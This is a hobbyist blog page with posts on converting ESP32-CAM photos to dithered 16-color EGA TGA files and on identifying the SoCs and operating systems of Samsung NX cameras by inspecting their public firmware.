Things related to hardware / embedded device / smart device hacking.

This post is about shooting 16-color EGA (1984) styled retro photos right on the 4$ ESP32-CAM board and storing them to µSD in the arcane TGA (1984) file format.

For that, we need to read RGB images, convert them to 16 colors, apply dithering, and store a TGA image file.

ESP32-EGA16-TGA source code on GitHub.

Test-photo Bayer-dithered to EGA colors, with shifted matrices

Introduction

This year's Shitty Camera Challenge has some space for digital cameras, and so the author experimented with different devices. The last one, the ESP32-CAM, was obtained after the HomeAssistant setup wizard promised an easy way to monitor analog utility meters with camera and AI, and what could be shittier than a 4$ camera PCB?

ESP32-CAM

The ESP32-CAM turned out to be even shittier than anticipated. Of the four sensors ordered, three had visible defects. The image quality is green. The board pinout is ridiculous, with the LED flash wired to the SD data line, the PCB LED blocking WiFi, and no fully usable GPIOs.

Still, the ESP32 is quite a beefy beast for an embedded SoC, with a 240MHz 32-bit core and ~500KB of SRAM on die, plus some 4MB of PSRAM on the board to store camera pictures. The pictures can be streamed over WiFi or stored to a µSD card, giving us some flexibility.

The CPU and memory specs are far beyond 1980s desktop computers, so we are not limited in the choice of algorithms to perform our task, and we can easily cheat where needed.

The platform is supported by Arduino IDE and by PlatformIO, typically programmed in C/C++, and there are example projects to implement a webcam or to take pictures to µSD.

Reading RGB data from the sensor into memory

The camera API supports various streaming formats, from pre-compressed JPEG to RAW:

typedef enum {
    PIXFORMAT_RGB565,    // 2BPP/RGB565
    PIXFORMAT_YUV422,    // 2BPP/YUV422
    PIXFORMAT_YUV420,    // 1.5BPP/YUV420
    PIXFORMAT_GRAYSCALE, // 1BPP/GRAYSCALE
    PIXFORMAT_JPEG,      // JPEG/COMPRESSED
    PIXFORMAT_RGB888,    // 3BPP/RGB888
    PIXFORMAT_RAW,       // RAW
    PIXFORMAT_RGB444,    // 3BP2P/RGB444
    PIXFORMAT_RGB555,    // 3BP2P/RGB555
} pixformat_t;

The easiest format for us to process is RGB888, with one byte for each of the three colors, stored in a two-dimensional pixel array. Except when the API is a lie:

E (1195) esp32 ll_cam: Requested format is not supported

Luckily, the github-actions bot closed the issue as completed, so it's solved, right? RIGHT??? The error message comes from ll_cam_set_sample_mode() and its source code reveals that the actually implemented options are:

  • PIXFORMAT_GRAYSCALE
  • PIXFORMAT_YUV422
  • PIXFORMAT_JPEG
  • PIXFORMAT_RGB565

Greyscale gives us one brightness byte per pixel, but we want to have colors. YUV422 stores two pixels in four bytes and requires a color space conversion. JPEG requires that as well, but only after parsing and uncompressing the JPEG file. RGB565 stores one pixel in two bytes, with five bits for red and blue, respectively, and six bits for green. That gives us enough headroom to do some dithering for a 16-color palette and spares us from non-linear luminance and chrominance formulas.

Furthermore, RGB565 can be converted to RGB888 with just a bit of bit shifting, so there we go. We configure the camera to take images in QVGA (320x240, close enough to the EGA 320x200 original) into PSRAM:

camera_config_t config;
/* ... snip boilerplate ... */
config.pixel_format = PIXFORMAT_RGB565;
config.frame_size = FRAMESIZE_QVGA;
config.fb_location = CAMERA_FB_IN_PSRAM;
esp_camera_init(&config);

However, after firing up the image sensor and taking a shot, we realize that everything is green. Not monochrome green, but bad-white-balance green. The suggested workaround is to give the camera some time to calibrate after enabling auto white balance, by taking and discarding a few shots:

sensor_t *s = esp_camera_sensor_get();
/* Enable AWB and AWB gain in auto mode */
s->set_whitebal(s, 1);
s->set_awb_gain(s, 1);
s->set_wb_mode(s, 0);
/* DO NOT DO COPY THIS! Set contrast and saturation to max for the EGA effect */
s->set_contrast(s, 2);
s->set_saturation(s, 2);
/* Take and discard a few pictures */
for (int i= 0 ; i < WARMUP_PICS; i++) {
  camera_fb_t *fb = esp_camera_fb_get();
  if (fb)
    esp_camera_fb_return(fb);
}

After that (with WARMUP_PICS=10), the image is less green. Not quite true-color, but acceptable. The raw RGB565 image bytes (320*240*2 = 153600 of them) can be found in fb->buf:

Test photo in RGB565 colors

As noted above, the image is 320*240 and not 320*200, as the EGA card didn't have square pixels. We can compensate that by just skipping one of each six rows when converting. Then we just can fix the aspect ratio in post-production for modern PC displays, by scaling up to 200%x240%.

Interlude: viewing RGB565 images

An obvious intermediate step when developing a camera application is storing the "raw" or "intermediate" pixel arrays right to "disk", i.e. the µSD card.

RGB888 images can be trivially converted (and scaled up for modern displays) by ImageMagick, the author's favorite image processing CLI:

convert -depth 8 -size 320x240 input.rgb -scale 200% output.png

There is no direct driver for RGB565, but there is this RGB565 parser pattern and it leaves the author speechless. WTF. ImageMagick is the Swiss army knife of image processing, but is this Turing complete?!?

So maybe the second favorite image processing tool has something in the pipeline? Oh yes indeed:

ffmpeg -vcodec rawvideo -f rawvideo -pix_fmt rgb565be -s 320x240 -i input.rgb565 -f image2 -vcodec png output.png

Et voila! We can store intermediate pictures, test individual phases of the pipeline and see where things go wrong. The ESP32 µSD interface is quite slow, so storing the "huge" 150KiB and 225KiB images takes a second or so of intensive flash LED blinking. And that LED gets rather hot, so watch out for your fingers!

EGA 16-color palette

The EGA color palette was a natural choice for this experiment, because its 16 colors are well known and still in use today in terminal mode applications (including most things you can access through SSH), and while they don't go back to roman horse asses or 1920's punch cards, they were created by IBM in 1981 for the IBM CGA adapter based on a simple one bit per color plus one intensity bit scheme, and an analog hardware hack to replace the ugly yellow ocher with a slightly less unpleasant brown.

The result are the following natural colors beloved by retro pixel artists, perfectly suited for photography:

0 #000000 1 #0000AA 2 #00AA00 3 #00AAAA 4 #AA0000 5 #AA00AA 6 #AA5500 7 #AAAAAA
8 #555555 9 #5555FF 10 #55FF55 11 #55FFFF 12 #FF5555 13 #FF55FF 14 #FFFF55 15 #FFFFFF

Technically, the full EGA color palette has two bits per color, resulting in 64 total colors, but you can only ever choose 16 of them, and as the defaults are well-known, we are sticking to them.

To provide the best resulting image quality, for each pixel we will pick the closest EGA color, by minimizing the Euclidean distance in three-dimensional space, or in different words, we'll calculate the squared differences for each color channel and pick the smallest one:

for (int i = 0; i < 16; i++) {
  int delta_r = abs(EGA_PALETTE[i][0]-r);
  int delta_g = abs(EGA_PALETTE[i][1]-g);
  int delta_b = abs(EGA_PALETTE[i][2]-b);
  int match = delta_r*delta_r + delta_g*delta_g + delta_b*delta_b;
  if (match < best_match) {
      best_match = match;
      best_color = i;
  }
}

We could implement a fancy look-up-table for each of the 65536 possible RGB565 values, but we have plenty of CPU cycles and not so much RAM, and only 64000 pixels, so we just do the look-up for each of them.

Test-photo mapped directly to EGA colors

The results look surprisingly monochrome, with just a few colored areas. It turns out that the low saturation of the ESP camera sensor maps most real-world motives onto the four shades of grey when using the "closest color" approach. To increase the saturation, we'd have to convert our pixels into another colorspace, so let's look for a different approach.

Dithering of photos to 16 colors

The standard (old-school) technique to map natural colors to a limited palette is color dithering. There are different algorithms, with different trade-offs, resulting in different image quality.

The simplest one, average dithering, assigns the closest palette color to each pixel, and we've seen it in action above.

Floyd-Steinberg from 1975 is the most sophisticated one, giving the most natural results and having a nice natural and irregular pixel distribution. It works by taking the error (difference between the original color and the mapped palette color) of each pixel, and spreading ("propagating") that error out to the neighbor pixels below and to the right. This creates a statistical distribution of colored pixels proportional to the level of the respective color in the image. The algorithm is clever by only applying the propagation to pixels right and below of the current one, allowing to process an image in a single linear pass.

However, it means that we need to change pixel values one row ahead in our buffer, and adding something to a pixel's color might overflow it, so we need to clip values to the (0, 31) or (0, 63) range. However, we can get a very good approximation by only propagating the error to the next pixel in the current row, with much less work:

Test-photo error-dithered to EGA colors

There are slightly noticeable vertical line artifacts at the left edge, as we reset the error variables at the beginning of the column (otherwise, colors from the right edge would "bleed over"), that wouldn't be there with the two-dimensional approach of Floyd-Steinberg. Beyond that, this is already too good and almost too true-color to really count as a shitty image.

There is one approach that was easier to implement on 1980s hardware (and that allowed better compression of the images), and that is ordered (or Bayes) dithering. It's using a (most often square) threshold table that is applied repeatedly to the image, changing the respective colors and resulting in a visible cross-hatch pattern.

By simply taking a bayer pattern table from StackOverflow, and doubling the threshold values to compensate for the pale camera colors, we get this:

Test-photo Bayer-dithered to EGA colors

Now why is this so monochrome again? Well, the Bayer pattern is applied individually to each of the three color channels, and we are using the same pattern position for the three channels of a pixel, so effectively we always apply a greyscale threshold. By simply shifting the pattern one pixel to the right for green and one pixel down for blue, we get a much better result:

Test-photo Bayer-dithered to EGA colors, with shifted matrices

Perfect! That's exactly the desired image quality to compete in the Shitty Camera Challenge!

Saving as TGA

Actually, TGA wasn't the first choice format for this project. The author's favorite is PCX (1985), which is only slightly younger than TGA, but was supported by the author's favorite image editing tool, that also featured the most creative versioning scheme: Deluxe Paint II Enhanced 2.0.

However, the author's favorite image viewer, Geeqie, fails to properly display PCX files, and fixing that was way out-of-scope for this project, or so the author thought. So we stick to TGA, which seems to be properly supported based on throwing a few test files at it.

The file format is simple when compression is disabled, coming with a small 18-byte header followed by the palette (in BGR order, not RGB), and then the packed raw pixel data, from bottom to top.

Well. In theory, TGA supports various color depths and palette types from 1 bit per pixel to RGBA. What we have is a 16-color 4bpp (4 bits per pixels; not to be confused with the "BPP" bytes-per-pixel used in the ESP32 headers) image with a 16*3 byte palette. However, the image processing tools that claim to "support" TGA don't actually accept arbitrary variants.

Screenshot of a GIMP error message not accepting my TarGA format

So we have to artificially inflate our pixel data from 4bpp to 8bpp, and because the tools will also ignore the "number of colors in the palette" field and instead use the "number of colors in the image" field, we need to store a full 256-color palette in the file, of which we will only use the first 16 entries:

memcpy(tga, &header, sizeof(TgaHeader));
for (int i = 0; i < STORE_COLORS; i++) {
  tga[sizeof(TgaHeader) + i*3 + 0] = EGA_PALETTE[i % COLORS][2];
  tga[sizeof(TgaHeader) + i*3 + 1] = EGA_PALETTE[i % COLORS][1];
  tga[sizeof(TgaHeader) + i*3 + 2] = EGA_PALETTE[i % COLORS][0];
}
for (y = 0; y < HEIGHT; y++) {
  src_pos = y*WIDTH;
  dst_pos = (HEIGHT - y - 1)*WIDTH;
  memcpy(tga + sizeof(TgaHeader) + 3*256 + dst_pos, framebuffer + src_pos, WIDTH);
}

The remaining code of the project is based on existing examples. Find the full ESP32-EGA16-TGA source code on GitHub. Beware, it's as shitty as everything shown above, to fit into the project. This is not production-quality C code.

Comments on HN

Posted 2023-08-04 18:07 Tags: hardware

Many years ago, in the summer of 2014, I fell into the rabbit hole of the Samsung NX(300) mirrorless APS-C camera, found out it runs Tizen Linux, analyzed its WiFi connection, got a root shell and looked at adding features.

Next year, Samsung "quickly adapted to market demands" and abandoned the whole NX ecosystem, but I'm still an active user of the NX500 and the NX mini (for infrared photography). A few months ago, I was triggered to find out which respective framework is powering which of the 19(!!!) NX models that Samsung released between 2010 and 2015. The TL;DR results are documented in the Samsung NX model table, and this post contains more than you ever wanted to know, unless you are a Samsung camera engineer.

Hardware Overview

There is a Wikipedia list of all the released NX models that I took as my starting point. The main product line is centered around the NX mount, and the cameras have a "NXnnnn" numbering scheme, with "nnnn" being a number between one and four digits.

In addition, there is the Galaxy NX, which is an Android phone, but also has the NX mount and a DRIM engine DSP. This fascinating half-smartphone half-camera line began in 2012 with the Galaxy Camera and featured a few Android models with zoom lenses and different camera DSPs.

In 2014, Samsung introduced the NX mini with a 1" sensor and the "NX-M" lens mount, sharing much of the architecture with the larger NX models. In 2015, they announced accidentally leaked the NX mini 2, based on the DRIMeV SoC and running Linux, and even submitted it to the FCC, but it never materialized on the market after Samsung "shifted priorities". If you are the janitor in Samsung's R&D offices, and you know where all the NX mini 2 prototypes are locked up, or if you were involved in making them, I'd die to get my hands onto one of them!

Most of the NX cameras are built around different generations of the "DRIM engine" image processor, so it's worth looking at that as well.

The Ukrainian company photo-parts has a rather extensive list of NX model boards, even featuring a few well-made PCB photographs. While their page is quirky, the documentation is excellent and matches my findings. They have documented the DRIMe CPU generation for many, but not for all, NX cameras.

Origins of the DRIM engine

Samsung NV100 (*)

Apparently the first cameras introducing the DRIM engine were the NV30/NV40 in 2008. Going through the service manuals of the NV cameras reveals the following:

  • NV30 (the Samsung camera, not the Samsung laptop with the same model number): using the Milbeaut MB91686 image processor introduced in 2006
  • NV40: also using the MB91686
  • NV24: "TWE (MB91043)"
  • NV100 (also called TL34HD in some regions): "DRIM II (MB91043)"

This looks like the DRIM engine is a re-branded Milbeaut MB91686, and the DRIM engine II is a MB91043. Unfortunately, nothing public is known about the latter, and it doesn't look like anybody ever talked about this processor model.

Even more unfortunately, I wasn't able to find a (still working) firmware download for any of those cameras.

Firmware Downloads

Luckily, the firmware situation is better for the NX cameras. To find out more about each of them, I visited the respective Samsung support page and downloaded the latest firmware release. For the Android-based cameras however, firmware images are only available through shady "Samsung fan club" sites.

The first classification was provided by the firmware size, as there were distinct buckets. The first generation, NX5, NX10, and NX11 had (unzipped) sizes of ~15MB, the last generation NX1 and NX500 were beyond 350MB.

Googling for respective NX and "DRIM engine" press releases, PCB photos and other related materials helped identifying the specific generation. Sometimes, there were no press releases mentioning the SoC and I had to resort to PCB photos found online or made by myself or other NX enthusiasts.

Further information was obtained by checking the firmware files with strings and binwalk, with the details documented below.

Note: most firmware files contain debug strings and file paths, often mentioning the account name of the respective developer. Personal names of Samsung developers are masked out in this blog post to protect the guilty innocent.

Mirrorless Cameras

DRIMeII: NX10, NX5, NX11, NX100

Samsung NX10 (*)

The first NX camera released by Samsung was the NX10, so let's look into its firmware. The ZIP contains an nx10.bin, and running that through strings -n 20 still yields some 11K unique entries.

There are no matches for "DRIM", but searching for "version", "revision", and "copyright" yields a few red herrings:

* Powered by [redacted] in DSLR team *
* This version apadpter for NX10 (16MB NOR) *
* Ice Updater v 0.025 (Base on FW Updater) *
* Hermes Firmware Version 0.00.001 (hit Enter for debugger prompt)       *
*                COPYRIGHT(c) 2008 SYRI                                  *

It's barely possible to find out the details of those names after over a decade, and we still don't know which OS is powering the CPU.

One hint is provided by the source code reference in the binary: D:\070628_view\NX10_DEV_MAIN\DSLR_PRODUCT\DSP\Project\CSP\..\..\Source\System\CSP\CSP_1.1_Gender\CSP_1.1\uITRON\Include\PCAlarm.h

This seems to be based on a "CSP", and feature "uITRON". The former might be the Samsung Core Software Platform, as identified by the following copyright notice in the firmware file:

Copyright (C) SAMSUNG Electronics Co.,Ltd.
SAMSUNG (R) Core SW Platform 2.0 for CSP 1.1

The latter is µITRON, a Japanese real-time OS specification going back to 1984. So let's assume the first camera generation (everything released in 2010) is powered by µITRON, as NX5, NX10 and NX11 have the same strings in their firmware files.

Samsung NX100 (*)

The NX100 is very similar to the above devices, but its firmware is roughly twice the size, given that it has a 32MB NOR flash (according to the bootloader strings). However, there are only 19MB of non-0x00, non-0xff data, and from comparing the extracted strings no significant new modules could be identified.

None of them identify the DRIM engine generation, but the NX10 service manual labels the CPU as "DSP (DRIMeII Pro)", so probably related to but slightly better than NV100's "DRIM II MB91043". Furthermore, all of these models are documented as "DRIM II" by photo-parts, and there is a well-readable PCB shot of the NX100 saying "DRIM engine IIP".

DRIMeIII: NX200, NX20, NX210, NX1000, NX1100

Samsung NX200 (*)

One year later, in 2011, Samsung released the NX200 powered by DRIM (engine) III. It is followed in 2012 by NX20, NX210, and NX1000/NX1100 (the only difference between the last two is a bundled Adobe Lightroom). The NX20 emphasizes professionalism, and the NX1x00 and NX2x0 stand for compact mobility.

The NX200 firmware also makes a significant leap to 77MB uncompressed, and the following models clock in at around 102MB uncompressed.

Each of the firwmare ZIPs contains two files respectively, named after the model, e.g. nx200.Rom and nx200.bin. Binwalking the Rom doesn't yield anything of value, except roughly a dozen of artistic collage background pictures. strings confirms that it is some sort of filesystem not identified by binwalk (and it contains a classical music compilation, with tracks titled "01_Flohwalzer.mp3" to "20_Spring.mp3", each roughly a minute long, sounding like ringtones from the 2000s)! The pictures and music files can be extracted using PhotoRec.

The bin binwalk yields a few interesting strings though:

8738896       0x855850        Unix path: /opt/windRiver6.6/vxworks-6.6/target/config/comps/src/edrStub.c
...
10172580      0x9B38A4        Copyright string: "Copyright (C) 2011, Arcsoft Inc."
10275754      0x9CCBAA        Copyright string: "Copyright (c) 2000-2009 by FotoNation. All rights reserved."
10485554      0x9FFF32        Copyright string: "Copyright Wind River Systems, Inc., 1984-2007"
10495200      0xA024E0        VxWorks WIND kernel version "2.11"

So we have identified the OS as Wind River's VwWorks.

A strings inspection of the bin also gives us "ARM DRIMeIII - ARM926E (ARM)" and "DRIMeIII H.264/AVC Encoder", confirming the SoC generation, weird network stuff ("ftp password (pw) (blank = use rsh)"), and even some fancy ASCII art:

]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]
]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]
]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]
     ]]]]]]]]]]]  ]]]]     ]]]]]]]]]]       ]]              ]]]]         (R)
]     ]]]]]]]]]  ]]]]]]     ]]]]]]]]       ]]               ]]]]            
]]     ]]]]]]]  ]]]]]]]]     ]]]]]] ]     ]]                ]]]]            
]]]     ]]]]] ]    ]]]  ]     ]]]] ]]]   ]]]]]]]]]  ]]]] ]] ]]]]  ]]   ]]]]]
]]]]     ]]]  ]]    ]  ]]]     ]] ]]]]] ]]]]]]   ]] ]]]]]]] ]]]] ]]   ]]]]  
]]]]]     ]  ]]]]     ]]]]]      ]]]]]]]] ]]]]   ]] ]]]]    ]]]]]]]    ]]]] 
]]]]]]      ]]]]]     ]]]]]]    ]  ]]]]]  ]]]]   ]] ]]]]    ]]]]]]]]    ]]]]
]]]]]]]    ]]]]]  ]    ]]]]]]  ]    ]]]   ]]]]   ]] ]]]]    ]]]] ]]]]    ]]]]
]]]]]]]]  ]]]]]  ]]]    ]]]]]]]      ]     ]]]]]]]  ]]]]    ]]]]  ]]]] ]]]]]
]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]
]]]]]]]]]]]]]]]]]]]]]]]]]]]]]       Development System
]]]]]]]]]]]]]]]]]]]]]]]]]]]]
]]]]]]]]]]]]]]]]]]]]]]]]]]]       
]]]]]]]]]]]]]]]]]]]]]]]]]]       KERNEL: 
]]]]]]]]]]]]]]]]]]]]]]]]]       Copyright Wind River Systems, Inc., 1984-2007

The 2012 models (NX20, NX210, NX1000, NX1100) contain the same copyright and CPU identification strings after a cursory look, confirming the same info about the third DRIMe generation.

Side note: there is also a compact camera from early 2010, the WB2000/TL350 (EU/US name), also built around the DRIMeIII and also running VxWorks. It looks like it was developed in parallel to the DRIMeII based NX10!

Another camera based on DRIMeIII and VxWorks is the EX2F from 2012.

DRIMeIV, Tizen Linux: NX300(M), NX310, NX2000, NX30

Samsung NX300 (*)

In early 2013, Samsung gave a CES press conference announcing the DRIMe IV based NX300. Linux was not mentioned, but we got a novelty single-lens 3D feature and an AMOLED screen. Samsung also published a design overview of the NX300 evolution.

I've looked into the NX300 root filesystem back in 2014, and the CPU generation was also confirmed from /proc/cpuinfo:

Hardware    : Samsung-DRIMeIV-NX300

The NX310 is just an NX300 with additional bundled gimmicks, sharing the same firmware. The actual successor to the NX300 is the NX2000, featuring a large AMOLED and almost no physical buttons (why would anybody buy a camera without knobs and dials?). It's followed by the NX300M (a variant of the NX300 with a 180° tilting screen), and the NX30 (released 2014, a larger variant with eVF and built-in flash).

All of them have similarly sized and named firmware (nx300.bin), and the respective OSS downloads feature a TIZEN folder. All are running Linux kernel 3.5.0. There is a nice description of the firmware file structure by Douglas J. Hickok. The bin files begin with SLP\x00, probably for "Samsung Linux Platform", and thus I documented them as SLP Firmware Format and created an SLP firmware dumper.

Fujitsu M7MU: NX mini, NX3000, NX3300

Samsung NX mini (*)

In the first half of 2014, the NX mini was announced. It also features WiFi and NFC, and with its NX-M mount it is one of the smallest digital interchangeable-lens cameras out there! The editor notes reveal that it's based on the "M7MU" DSP, which unfortunately is impossible to google for.

The firmware archive contains a file called DATANXmini.bin (which is not the SLP format and also a break with the old-school 8.3 filename convention), and it seems to use some sort of data compression, as most strings are garbled after 16 bytes or earlier (C:\colomia\Gui^@^@Lib\Sources\Core^@^PAllocator.H, here using Vim's binary escape notation).

There are a few string matches for "M7MU", but nothing that would reveal details about its manufacturer or operating system. The (garbled) copyright strings give a mixed picture, with mentions of:

Copyright (c) 2<80>^@^@5-2011, Jouni Ma^@^@linen <*@**.**>
^@^@and contributors^@^B^@This program ^@^Kf^@^@ree software. Yo!
u ^@q dis^C4e it^AF/^@<9c>m^D^@odify^@^Q
under theA^@ P+ms of^B^MGNU Gene^A^@ral Pub^@<bc> License^D^E versPy 2.

Samsung NX3000 (*)

This doesn't give us any hints on what is powering this nice curiosity of ILC. The few PCB photos available on the internet have the CPU covered with a sticker, so no dice there either. All of the above similarly applies to the NX3000, which is running very similar code but has the larger NX mount, and the NX3300, which is a slightly modified NX3000 with more selfie shooting and less Adobe Lightroom.

It took me quite a while of fruitless guessing, until I was able to obtain a (broken) NX3000 and disassemble it, just to remove the CPU sticker.

The sticker revealed that the CPU is actually an "MB86S22A", another Fujitsu Milbeaut Image Processor, with M-7M being the seventh generation (not sure about "MU", but there is "MO" for mobile devices), built around the ARM Cortex-A5MP core!

Github code search reveals that there is actually an M7MU driver in the forked Exynos Linux kernel, and it defines the firmware header structure. Let's hack together a header reader in python real quick now, and run that over the NX mini firmware:

Header Value
block_size 0x400 (1024)
writer_load_size 0x4fc00 (326656)
write_code_entry 0x40000400 (1073742848)
sdram_param_size 0x90 (144)
nand_param_size 0xe1 (225)
sdram_data *stripped 144 bytes*
nand_data *stripped 225 bytes*
code_size 0xafee12 (11529746)
offset_code 0x50000 (327680)
version1 b0 b1 ae b1 b0
log b2 b0 b1 b5 b0 b1 b1 b6 b2 b1 b1 b9
version2 c7 cc d5 c1 cf c1 b2
model 80 80 80 80 ce d8 cd c9 ce c9 80 80 80
section_info 00000007 00000001
0050e66c 00000002
001a5985 00000003
00000010 00000004
00061d14 00000005
003e89d6 00000006
00000010 00000007
00000010 00000000
9x 00000000
pdr ""
ddr 00 b3 3f db 26 02 08 00 d7 31 08 29 01 80 00 7c 8c 07
epcr 00 00 3c db 00 00 08 30 26 00 f8 38 00 00 00 3c 0c 07

That was less than informative. At least it's a good hint for loading the firmware into a decompiler, if anybody gets interested enough.

But why should the Linux kernel have a module to talk to an M7MU? One of the kernel trees containing that code is called kernel_samsung_exynos5260 and the Exynos 5260 is the SoC powering the Galaxy K Zoom. So the K Zoom does have a regular Exynos SoC running Android, and a second Milbeaut SoC running the image processing. Let's postpone this Android hybrid for now.

DRIMeV, Tizen Linux: NX1, NX500, Gear360

Samsung NX1 (*)

In late 2014, Samsung released the high-end DRIMeV-based NX1, featuring a backside-illuminated 28 MP sensor and 4K H.256 video in addition to all the features of previous NX models. There was also an interview with a very excited Samsung Senior Marketing Manager that contains PCB shots and technical details. Once again, Linux is only mentioned in third-party coverage, e.g. in the EOSHD review.

Samsung NX500 (*)

In February 2015, the NX1 was followed by the more compact NX500 based around a slightly reduced DRIMeVs SoC. Apparently, the DRIMeVs also powers the Gear 360 camera, and indeed, there is a teardown with PCB shots confirming that and showing an additional MachXO3 FPGA, but also some firmware reverse-engineering as well as firmware mirroring efforts. The Gear360 is running Tizen 2.2.0 "Magnolia" and requires a companion app for most of its functions.

The NX1 is using the same modified version of the SLP firmware format as the Gear360. In versions before 1.21, the ext4 partitions were uncompressed, leading to significantly larger bin file sizes. They still contain Linux 3.5.0 but ext4 is a significant change over the UBIFS on the DRIMeIV cameras, and allows in-place modification from a telnet shell.

Android phones with dedicated photo co-processor

Samsung has also experimented with hybrid devices that are neither smartphone nor camera. The first such device seems to be the Galaxy Camera from 2012.

Samsung Galaxy K4 Zoom (*)

The Android firmware ZIP files (obtained from a Samsung "fan club" website) contain one or multiple tar.md5 files (which are tar archives with appended MD5 checksums to be flashed by Odin).

Galaxy Camera (EK-GC100, EK-GC120)

For the Galaxy Camera EK-GC100, there is a CODE_GC100XXBLL7_751817_REV00_user_low_ship.tar.md5 in the ZIP, that contains multiple .img files:

-rw-r--r-- se.infra/se.infra     887040 2012-12-26 12:12 sboot.bin
-rw-r--r-- se.infra/se.infra     768000 2012-12-26 11:41 param.bin
-rw-r--r-- se.infra/se.infra     159744 2012-12-26 12:12 tz.img
-rw-r--r-- se.infra/se.infra    4980992 2012-12-26 12:12 boot.img
-rw-r--r-- se.infra/se.infra    5691648 2012-12-26 12:12 recovery.img
-rw------- se.infra/se.infra 1125697212 2012-12-26 12:11 system.img

None of these look like camera firmware, but system.img is the Android rootfs (A sparse image convertible with simg2img to obtain an ext4 image). In the rootfs, /vendor/firmware/ contains a few files, including one fimc_is_fw.bin with 1.2MB.

The Galaxy Camera Linux source has an Exynos FIMC-IS (Image Subsystem) driver working over I2C, and the firmware itself contains a few interesting strings:

src\FIMCISV15_HWPF\SIRC_SDK\SIRC_Src\ISP_GISP_HQ_ThSc.c
* S5PC220-A5 - Solution F/W                    *
* since 2010.05.21 for ISP Team                  *
SIRC-ISP-SDK-R1.02.00
https://svn/svn/SVNRoot/System/Software/tcevb/SDK+FW/branches/Pegasus-2012_01_12-Release
"isp_hardware_version" : "Fimc31"

Furthermore, the firmware bin file seems to start with a typical ARM v7 reset vector table, but other than that it looks like the image processsor is a built-in component of the Exynos4 SoC.

Galaxy S4 Zoom: SM-C1010, SM-C101, SM-C105

Samsung Galaxy S4 Zoom (*)

The next Android hybrid released by Samsung was the Galaxy S4 Zoom (SM-C1010, SM-C101, SM-C105) in 2013. In its CODE_[...].tar.md5 firmware, there is an additional 2MB camera.bin file that contains the camera processor firmware. Binwalk only reveals a few FotoNation copyright strings, but strings gives some more interesting hints, like:

SOFTUNE REALOS/ARM is REALtime OS for ARM.COPYRIGHT(C) FUJITSU MICROELECTRONICS LIMITED 1999
M9MOFujitsuFMSL
AHFD Face Detection Library M9Mo v.1.0.2.6.4
Copyright (c) 2005-2011 by FotoNation. All rights reserved.
LibFE M9Mo v.0.2.0.4
Copyright (c) 2005-2011 by FotoNation. All rights reserved.
FCGK02 Fujitsu M9MO

Softune is an IDE used by Fujitsu and Infineon for embedded processors, featuring the REALOS µITRON real-time OS!

M9MO sounds like a 9th generation Milbeaut image processor, but again there is not much to see without the model number, and it's hard to find good PCB shots without stickers. There is a S4 Zoom disassembly guide featuring quite a few PCB shots, but the top side only shows the Exynos SoC, eMMC flash and an Intel baseband. There are uncovered bottom pics submtted to FCC which are too low-res to identify if there is a dedicated SoC.

As shown above, Samsung has a history of working with Milbeaut and µITRON, so it's probably not a stretch to conclude that this combination powers the S4 Zoom's camera, but it's hard to say if it's a logical core inside the Exynos 4212 or a dedicated chip.

Galaxy NX: EK-GN100, EK-GN120

Samsung Galaxy NX (*)

Just one week after the S4 Zoom, still in June 2013, Samsung announced the Galaxy NX (EK-GN100, EK-GN120) with interchangeable lenses, 20.3MP APS-C sensor, and DRIMeIV SoC - specs already known from January's NX300.

But the Galaxy Zoom is also an Android 4.2 smartphone (even if it lacks microphone and speakers, so technically just a micro-tablet?). How can it be a DRIMeIV Linux device and an Android phone at the same time? The firmware surely will enlighten us!

Similarly to the S4 Zoom, the firmware is a ZIP file containing a [...]_HOME.tar.md5. One of the files inside it is camera.bin, and this time it's 77MB! This file now features the SLP\x00 header known from the NX300:

camera.bin: GALAXYU firmware 0.01 (D20D0LAHB01) with 5 partitions
           144    5523488   f68a86 ffffffff  vImage
       5523632       7356 ad4b0983 7fffffff  D4_IPL.bin
       5530988      63768 3d31ae89 65ffffff  D4_PNLBL.bin
       5594756    2051280 b8966d27 543fffff  uImage
       7646036   71565312 4c5a14bc 4321ffff  platform.img

The platform.img file contains a UBIFS root partition, and presumably vImage is used for upgrading the DRIMeIV firmware, and uImage is the standard kernel running on the camera SoC. The rootfs is very similar to the NX300 as well, featuring the same "squeeze/sid" string in /etc/debian_version, even though it's again Tizen / Samsung Linux Platform. There is a 500KB /usr/bin/di-galaxyu-app that's probably responsible for camera operation as well as for talking to the Android CPU. Further reverse engineering is required to understand what kind of IPC mechanism is used between the cores.

The Galaxy NX got the CES 2014 award for the first fully-connected interchangeable lens camera, but probably not for fully-connecting a SoC running Android-flavored Linux with a SoC running Tizen-flavored Linux on the same board.

Galaxy Camera 2

Shortly after the Galaxy NX, the Galaxy Camera 2 (EK-GC200) was announced and presented at CES 2014.

Very similar to the first Galaxy Camera, it has a 1.2MB /vendor/firmware/fimc_is_fw.bin file, and also shares most of the strings with it. Apart from a few changed internal SVN URLs, this seems to be roughly the same module.

Galaxy K Zoom: SM-C115, SM-C111, SM-C115L

As already identified above, the Galaxy K Zoom (SM-C115, SM-C111, SM-C115L), released in June 2014, is using the M7M image processor. The respective firmware can be found inside the Android rootfs at /vendor/firmware/RS_M7MU.bin and is 6.2MB large. It also features the same compression mechanism as the NX mini firmware, making it harder to analyze, but the M7MU firmware header looks more consistent:

Header Value
code_size 0x5dee12 (6155794)
offset_code 0x40000 (262144)
version1 "00.01"
log "201405289234"
version2 "D20FSHE"
model "06DAGCM2"

Conclusion

In just five years, Samsung released eighteen cameras and one smartphone/camera hybrid under the NX label, plus a few more phones with zoom lenses, built around the Fujitsu Milbeaut SoC as well as multiple generations of Samsung's custom-engineered (or maybe initially licensed from Fujitsu?) DRIM engine.

The number of different platforms and overlapping release cycles is a strong indication that the devices were developed by two or three product teams in parallel, or maybe even independently of each other. This engineering effort could have proven a huge success with amateur and professional photographers, if it hadn't been stopped by Samsung management.

To this day, the Tizen-based NX models remain the best trade-off between picture quality and hackability (in the most positive meaning).

Comments on HN


(*) All pictures (C) Samsung marketing material

Posted 2023-03-31 17:27 Tags: hardware

This is the third post in a series covering the Samsung NX300 "Smart" Camera. In the first post, we have analyzed how the camera is interacting with the outside world using NFC and WiFi. The second one showed a method to gain a remote root shell, and it spawned a number of interesting projects. This post is a reference collection of these projects, and a call for collaboration.

Samsung NX300 Firmware Update

